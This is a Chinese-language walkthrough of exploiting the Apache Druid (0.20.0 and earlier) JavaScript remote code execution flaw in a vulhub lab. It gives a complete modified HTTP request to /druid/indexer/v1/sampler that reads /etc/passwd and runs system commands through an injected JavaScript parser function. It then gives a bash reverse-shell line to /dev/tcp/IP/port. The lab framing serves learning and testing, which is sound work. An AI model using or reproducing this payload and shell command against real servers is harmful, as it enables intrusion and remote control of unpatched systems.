一、开启vulhub环境
docker-compose up -d 启动
docker ps 查看开放的端口
1、漏洞范围
在Druid0.20.0及更低版本中
二、访问靶机IP 8888端口
1、点击Load data进入新界面后,再点击local disk按钮。
2、进入新界面后,在标红框的Base directory栏写上quickstart/tutorial/,File filter栏写上wikiticker-2015-09-12-sampled.json.gz,写好后点击Preview,再点击Next
3、一直点击Next按钮,直到按钮文字为Next:Filter停止
4、点击Next:Filter按钮,利用Burpsuite抓取该数据包,数据包如下
4、修改数据包为以下数据包
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 912{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/etc","filter":"passwd"}},"dataSchema":{"dataSource":"test","parser":{"parseSpec":{"format":"javascript","timestampSpec":{},"dimensionsSpec":{},"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":10}
}
可见命令执行成功
三、反弹shell
1、修改数据包命令为以下
'/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/IP/端口 0>&1'
成功反弹成功
至此,命令执行完成。
下期再见,家人们。